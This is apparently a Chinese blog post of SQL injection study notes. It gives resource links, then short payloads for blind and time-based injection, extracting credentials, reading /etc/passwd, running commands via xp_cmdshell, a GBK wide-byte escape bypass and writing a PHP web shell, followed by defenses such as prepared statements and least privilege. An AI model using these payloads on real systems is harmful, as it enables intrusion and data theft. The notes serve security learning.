sql注入——资源记录

《sql注入攻击与防御(第二版)》:

SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku


网络资料整理:

sqlmap用户手册:http://drops.wooyun.org/tips/143  续 http://drops.wooyun.org/tips/401

安全攻防之SQL注入(通过sqlmap搞定所有问题):http://www.cnblogs.com/Javame/p/3753060.html

手工注入经验总结:http://blog.csdn.net/eldn__/article/details/8203831



--以下记录来源于《白帽子讲web安全》

判断方法:

1. and 1=1 / and 1=2

2.mysql 中 id=1 and sleep(5)       #延时注入

3.mysql 中 benchmark(100000,encode(‘abc’,‘abc’)#延时注入

利用技巧:

1.mysql中常用的函数  database()  system_user()  current_user()  last_insert_id()

2.写入一句话:select "<?php eval($_POST[1]);?>" into outfile "网站绝对路径"

3.  id = 1 and substring(@@version,1,1)=5
4.  id = 1 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1) ,1,1 ) )>64
5.  id = 1 union select 1,1,load_file('/etc/passwd')
6. mssql中利用存储过程执行系统命令  EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
7. 数据库编码若为gbk 会把识别0xbf5c,addslashes会把 0x27变成0x5c27,那么构造payload 0xbf27,即可插入单引号注入。
8.sql column truncation是因为定义column长度varchar时值太小,若STRICT_ALL_TABLES开启,那么可以插入 溢出部分不同 的值会成功。

防御:

1.1预编译:绑定变量,不能改变sql的语义(也交参数化查询)

php中$stmt= $mysqli->prepare($query) $stmt->bind_param("sss",$var1,$var2,$var3);

1.2使用存储过程,调用存在数据库里的函数。

1.3设置变量的值,比如固定为integer

1.4使用定义好的安全函数来转义。

1.5设置数据库用户的最小权限。


2.1php中的过滤函数:

php.ini magic_quotes_gpc 开启的话,输入的字符串会被转义,多加一个\

若没有开启magic_quotes_gpc,用addslashes(),强制在单引号上加\(可能将0xbf27 变成0xbf 5c 27,如果数据库是gbk,会识别0xbf5c,统一编码即可解决)

mysql_real_escape_string() 考虑字符集

mysql_escape_string() 不考虑字符集 ( php5.3已经弃用)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值